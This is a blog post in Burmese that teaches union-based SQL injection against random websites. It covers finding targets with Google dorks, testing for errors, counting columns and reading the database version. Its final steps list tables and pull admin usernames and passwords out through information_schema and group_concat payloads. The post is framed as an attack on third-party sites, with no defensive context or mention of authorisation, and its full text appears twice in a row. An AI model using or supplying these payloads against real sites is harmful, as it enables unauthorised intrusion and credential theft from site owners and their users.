Union Based SQL Injection
က်ေနာ္သိသေလာက္ေလးေတြ ကို ျပန္ေရးေပးတာဆိုေတာ့ အမွားပါရင္လဲ ၾကိုတင္ေတာင္းပန္ထားပါတယ္ခညာ..
SQL Injection ဆိုတာဘာလဲ လို႕ေမးရင္ေတာ့ ေနာက္တင္ေပးပါ့မယ္။ :D
ပထမဆံုးအေနနဲ႕ က်ေနာ္တို႕ SQL Vul ျဖစ္တဲ့ဆိုက္တခုကို အရင္ဆံုးရွာမယ္။
Google Dork ေတြကိုသံုးၿပီးေတာ့ ရွာနိုင္ပါတယ္။ဥပမာ
inurl:index.php?id=
inurl:category.php?id=
inurl:article.php?id=
ဒီလို မ်ိဳး dork ေတြကိုသံုးၿပီးေတာ့ရွာနိုင္ပါတယ္။
http://www.site.com/index.php?id=12
ဒီလိုမ်ိဳးဆိုက္တခုကိုရၿပီဆိုပါေတာ့။ဒီဆိုက္ဟာ SQL vul ျဖစ္မျဖစ္ကို ' ဒါေလးကိုသံုးၿပီးစစ္ၾကည့္မယ္။
http://www.site.com/index.php?id=12'
ဒီလိုမ်ိဳးျဖစ္သြားမယ္။
Error page တခုက်လာၿပီဆုိရင္ေတာ့ ေပ်ာ္လို႕ရပါတယ္။error မက်ဘူးဆိုရင္ေတာ့ ေနာက္တဆိုက္ရွာေပါ့ :P
ေနာက္တဆင့္ကေတာ့ ေကာ္လံအေရတြက္ ကိုသိေအာင္စစ္ၾကည္႔မယ္။ ။
http://www.site.com/index.php?id=12 order by 1-- ဒီလိုမိ်ဳးအရင္ဆံုးစစ္ၾကည့္မယ္
error မတက္ရပါဘူး။ၿပီးရင္ ေအာက္က query လိုမ်ိဳး တိုးၾကည့္မယ္။
http://www.site.com/index.php?id=12 order by 3-- <no error>
http://www.site.com/index.php?id=12 order by 5-- <no error>
http://www.site.com/index.php?id=12 order by 6-- <error>
ေကာ္လံ ၆ ကိုေရာက္ေတာ့ Error တက္တယ္ဆိုပါေတာ့။ဒါဆို ေကာ္လံ ၅ ခုရွိပါတယ္။error တက္တဲ့ ေကာ္လံ ထဲက ေန ၁ ကို နွုတ္လုိက္ပါ။အဲဒါ ေကာ္လံ အေရအတြက္ပါဘဲ။
Finding a vulnerable column
ေကာ္လံဘယ္နခုရွိလဲ သိၿပီဆိုရင္ေတာ့ ဘယ္ေကာ္လံမွာ vul ျဖစ္လည္းဆိုတာကို စစ္ႀကည့္မယ္။
http://www.site.com/index.php?id=12 union select 1,2,3,4,5-- <show vul column>
ဒီလိုဆိုရင္က်ေနာ္တို႕ သိခ်င္တဲ့ vul column ကိုသိပါၿပီ။ ။ဥပမာ ၂ မွာ vul ျဖစ္တယ္ဆိုပါေတာ့။
Finding MySQL version
http://www.site.com/index.php?id=12 union select 1,@@version,3,4,5-- <show version like 5.0.2.1:dcll>
ဒီ query ကိုသံုးၿပီးေတာ့ version သိပါၿပီ။
Finding Table name
Table name ေတြရွာမယ္ဆိုရင္ ေအာက္က query ေတြနဲ႕ရွာပါ မယ္။
http://www.site.com/index.php?id=12 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--
Table ေတြက်လာၿပီဆိုရင္ user, admin စတဲ့ table ေတြကိုအရင္ရွာႀကည့္ပါ။မေတြ႕ရင္ ကိုယ္လိုခ်င္တဲ့ information ရွိမယ္ထင္တဲ့ table ေတြကို ရွာလိုက္ပါ။admin ဆိုတဲ့ table ရွိတယ္ဆိုပါစို႕။
Finding Column name
admin ဆိုတဲ့ table ထဲကေန က်ေနာ္တုိ႕ ေကာ္လံ ေတြကို ႏွဳိက္ထုတ္ မယ္။ ။
http://www.site.com/index.php?id=12 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0xTableHex--
0xTableHex ဆိုတဲ့ေနရာမွာ admin ဆိုတဲ့ table name ကို hex value ေျပာင္းၿပီး အေရွ႕ကေန 0x ေလးခံထားတာပါ။
က်ေနာ္တို႔ ခုေကာ္လံေတြရ ၿပီဆိုပါေတာ့။ေကာ္လံေတြထဲ မွာ username, password ေကာ္လံေတြပါပါမယ္။
Extracting data
http://www.site.com/index.php?id=12 union select 1,group_concat(username,0x3a,password),3,4,5 from admin--
0x3a ဆိုတာ : ေလးနဲ႕ hex value ပါ။username နဲ႕ password ၾကားမွာ ခြဲထားတဲ့ သေဘာပါ။
Data ေတြရၿပီဆိုရင္ေတာ့ ဘာဆက္လုပ္မလဲ?
:P :D ;)
က်ေနာ္သိသေလာက္ေလးေတြ ကို ျပန္ေရးေပးတာဆိုေတာ့ အမွားပါရင္လဲ ၾကိုတင္ေတာင္းပန္ထားပါတယ္ခညာ..
SQL Injection ဆိုတာဘာလဲ လို႕ေမးရင္ေတာ့ ေနာက္တင္ေပးပါ့မယ္။ :D
ပထမဆံုးအေနနဲ႕ က်ေနာ္တို႕ SQL Vul ျဖစ္တဲ့ဆိုက္တခုကို အရင္ဆံုးရွာမယ္။
Google Dork ေတြကိုသံုးၿပီးေတာ့ ရွာနိုင္ပါတယ္။ဥပမာ
inurl:index.php?id=
inurl:category.php?id=
inurl:article.php?id=
ဒီလို မ်ိဳး dork ေတြကိုသံုးၿပီးေတာ့ရွာနိုင္ပါတယ္။
http://www.site.com/index.php?id=12
ဒီလိုမ်ိဳးဆိုက္တခုကိုရၿပီဆိုပါေတာ့။ဒီဆိုက္ဟာ SQL vul ျဖစ္မျဖစ္ကို ' ဒါေလးကိုသံုးၿပီးစစ္ၾကည့္မယ္။
http://www.site.com/index.php?id=12'
ဒီလိုမ်ိဳးျဖစ္သြားမယ္။
Error page တခုက်လာၿပီဆုိရင္ေတာ့ ေပ်ာ္လို႕ရပါတယ္။error မက်ဘူးဆိုရင္ေတာ့ ေနာက္တဆိုက္ရွာေပါ့ :P
ေနာက္တဆင့္ကေတာ့ ေကာ္လံအေရတြက္ ကိုသိေအာင္စစ္ၾကည္႔မယ္။ ။
http://www.site.com/index.php?id=12 order by 1-- ဒီလိုမိ်ဳးအရင္ဆံုးစစ္ၾကည့္မယ္
error မတက္ရပါဘူး။ၿပီးရင္ ေအာက္က query လိုမ်ိဳး တိုးၾကည့္မယ္။
http://www.site.com/index.php?id=12 order by 3-- <no error>
http://www.site.com/index.php?id=12 order by 5-- <no error>
http://www.site.com/index.php?id=12 order by 6-- <error>
ေကာ္လံ ၆ ကိုေရာက္ေတာ့ Error တက္တယ္ဆိုပါေတာ့။ဒါဆို ေကာ္လံ ၅ ခုရွိပါတယ္။error တက္တဲ့ ေကာ္လံ ထဲက ေန ၁ ကို နွုတ္လုိက္ပါ။အဲဒါ ေကာ္လံ အေရအတြက္ပါဘဲ။
Finding a vulnerable column
ေကာ္လံဘယ္နခုရွိလဲ သိၿပီဆိုရင္ေတာ့ ဘယ္ေကာ္လံမွာ vul ျဖစ္လည္းဆိုတာကို စစ္ႀကည့္မယ္။
http://www.site.com/index.php?id=12 union select 1,2,3,4,5-- <show vul column>
ဒီလိုဆိုရင္က်ေနာ္တို႕ သိခ်င္တဲ့ vul column ကိုသိပါၿပီ။ ။ဥပမာ ၂ မွာ vul ျဖစ္တယ္ဆိုပါေတာ့။
Finding MySQL version
http://www.site.com/index.php?id=12 union select 1,@@version,3,4,5-- <show version like 5.0.2.1:dcll>
ဒီ query ကိုသံုးၿပီးေတာ့ version သိပါၿပီ။
Finding Table name
Table name ေတြရွာမယ္ဆိုရင္ ေအာက္က query ေတြနဲ႕ရွာပါ မယ္။
http://www.site.com/index.php?id=12 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--
Table ေတြက်လာၿပီဆိုရင္ user, admin စတဲ့ table ေတြကိုအရင္ရွာႀကည့္ပါ။မေတြ႕ရင္ ကိုယ္လိုခ်င္တဲ့ information ရွိမယ္ထင္တဲ့ table ေတြကို ရွာလိုက္ပါ။admin ဆိုတဲ့ table ရွိတယ္ဆိုပါစို႕။
Finding Column name
admin ဆိုတဲ့ table ထဲကေန က်ေနာ္တုိ႕ ေကာ္လံ ေတြကို ႏွဳိက္ထုတ္ မယ္။ ။
http://www.site.com/index.php?id=12 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0xTableHex--
0xTableHex ဆိုတဲ့ေနရာမွာ admin ဆိုတဲ့ table name ကို hex value ေျပာင္းၿပီး အေရွ႕ကေန 0x ေလးခံထားတာပါ။
က်ေနာ္တို႔ ခုေကာ္လံေတြရ ၿပီဆိုပါေတာ့။ေကာ္လံေတြထဲ မွာ username, password ေကာ္လံေတြပါပါမယ္။
Extracting data
http://www.site.com/index.php?id=12 union select 1,group_concat(username,0x3a,password),3,4,5 from admin--
0x3a ဆိုတာ : ေလးနဲ႕ hex value ပါ။username နဲ႕ password ၾကားမွာ ခြဲထားတဲ့ သေဘာပါ။
Data ေတြရၿပီဆိုရင္ေတာ့ ဘာဆက္လုပ္မလဲ?
:P :D ;)
No comments:
Post a Comment